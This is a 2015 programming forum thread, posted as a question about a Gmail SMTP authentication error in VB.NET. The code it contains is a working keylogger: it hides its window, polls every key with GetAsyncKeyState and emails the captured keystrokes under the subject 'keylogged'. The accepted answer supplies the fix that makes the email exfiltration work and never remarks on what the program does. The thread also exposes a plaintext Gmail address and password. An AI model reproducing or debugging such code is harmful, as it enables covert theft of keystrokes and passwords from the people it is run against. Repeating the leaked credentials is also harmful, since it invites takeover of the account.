Error Sending Mail In Vb.Net

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VS2010

Server response 5.5.1 . Required authentication . Here is the code

Imports System.Net.Mail
 Public Class Form1
 Dim result As Integer
 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 Me.hide()
 Me.visible = False
 For i = 1 To 255
 result = 0
 result = GetAsyncKeyState(i)
 If result = -32767 Then
 RichTextBox1.Text = RichTextBox1.Text + Chr(i)
 End If
 Next i
 End Sub

 Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
 Dim MyMailMessage As New MailMessage()
 MyMailMessage.From = New MailAddress("catalin0504229@gmail.com")
 MyMailMessage.To.Add("catalin0504229@gmail.com")
 MyMailMessage.Subject = ("keylogged")
 MyMailMessage.Body = RichTextBox1.Text
 Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 SMTPServer.Port = 587
 SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")
 SMTPServer.EnableSsl = True
 SMTPServer.Send(MyMailMessage)
 RichTextBox1.Text = ("")
 End Sub

 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

 End Sub
 End Class

Posted 9-Jun-15 4:25am

Catalin Turcan

Updated 9-Jun-15 4:38am

Mathew Soji

v2

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Comments

Richard Deeming 9-Jun-15 11:18am

I hope that's not your real GMail username, password and email address that you've just posted to a public forum!

If it is, change your password immediately; carefully check all of your account settings to make sure nothing has been changed; and be prepared for a flood of spam.

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F-ES Sitecore · Answer 1 · 2015-06-09T04:38:00

Google how to send email via gmail and you'll find lots of code examples, this is one of the most frequently asked questions and you should do basic research before asking a question.

It looks like you're not setting UseDefaultCredentials to False.

SMTPServer.UseDefaultCredentials = False
SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")

If you're still having problems then it could be you have not set your account to allow smtp emails, or you need to pass the "captcha", or one of the many other issues you can resolve by googling.